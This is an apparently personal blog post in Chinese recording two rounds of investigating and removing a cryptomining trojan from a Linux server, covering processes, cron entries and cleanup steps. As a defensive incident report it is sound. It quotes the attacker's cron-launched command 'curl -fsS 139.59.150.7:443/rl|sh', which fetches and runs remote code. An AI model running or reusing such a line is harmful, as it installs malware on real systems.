• 记录一次木马排查


    2021年12月27日第一次处理

    • 初步排查

    收到CPU使用率100%的监控告警

    登陆主机,发现一个陌生进程,进程名为SloH4auG,怀疑是木马。

    ps -ef|grep SloH4auG 找到pid

    cd /proc/7407/ && ll 查看进程的exec,当时没截图,发现执行程序的文件名是乱码,并且已经被删除。这种会清理痕迹的执行行为,基本可以确定该文件为木马。

    • 紧急处理

    确定服务器已经中毒,开始紧急处置,首先确定业务影响,确定可控之后使用防火墙封禁其网络出入口,特别是内网进出全部封禁,避免其继续污染内网其他主机。

    因为这台主机没有主要业务,而且我准备抓到木马干了什么,所以就暂时保留公网进出口,因为很多木马发现自己无法与C&C服务器建立连接的话,会进行自杀并清理痕迹。

    • 找木马样本

    cd /var/spool/cron && ll,查看定时任务的修改时间,发现root用户的定时任务有修改。

    cat root 发现一条定时任务

    26 * * * * /root/.systemd-private-lYLmBkzzKln31w9xOAKuqXpObYJjY.sh > /dev/null 2>&1 &
    查看该文件如图,执行过程使用base64加密

     

     

     base64解码后得到木马代码如下:

     

    从脚本内容看,核心是u()函数,收集了主机的信息后使用匿名代理下载了一个文件并执行,执行完成后删除了。

    可以找个沙盒尝试下载该文件,当时我没有下载。直接就开始清理了。

    • 清理木马

    kill木马进程,删掉对应crontab记录,crontab有两个位置,都要清理,/var/spool/cron,/etc/cront.d/

    清理木马文件,对应两个crontab记录,也是两个脚本文件,都要删除。

    至此告一段落。


     

    2022年2月10日第二次处理

    • 木马再次出现

    上次中木马之后,我清理了公网的无用端口,已经无法出公网,而这台主机重启后,该主机出现了恶意代码告警。

    进程链:
    -[542]  /usr/sbin/crond -n
        -[4136]  /usr/sbin/crond -n
            -[4141]  /bin/sh -c curl -fsS 139.59.150.7:443/rl|sh

    登录主机,发现正在执行的sh进程,找到进程pid,进入/proc/$pid/,查看cmdline,发现进程wget了一个脚本,获取该脚本如下。

      

    该脚本与上次发现的一样,也是收集主机信息并通过匿名代理下载木马文件,这次我获取到了该文件,该文件是一个二进制文件,执行后就会执行后续的挖矿程序。即上次处理时发现的情况。

    从这次情况看,上次清理时没有处理开机自动启动的问题,这次抓进程时,从cmdline里看到,应该是开机启动时执行了/usr/sbin/crond -n命令拉起了木马,然后删除了/usr/sbin/crond文件。这是把自己伪装成crond服务防止被识别。

    • 遗留问题

    但是开机启动的配置我还没有找到,因为linux启动时可以嵌入代码的地方太多了,准备把这台机器应用迁移后释放掉了。

     

  • 相关阅读:
    AOC新特性发布会之事件中心
    cordon节点,drain驱逐节点,delete 节点
    java学习之包
    Redis 缓存预热、预热数据选取策略、缓存保温、性能边界
    redis中value/hush
    分布式概念
    Python与CAD系列高级篇(二十)批量为文本添加递增编号
    pyqt5:pandas 读取 Excel文件或 .etx 电子表格文件,并显示
    day11_api_Object类_String类
    ImportError: cannot import name ‘Config‘ from ‘mmcv‘ 问题解决
  • 原文地址:https://www.cnblogs.com/maxgongzuo/p/15886030.html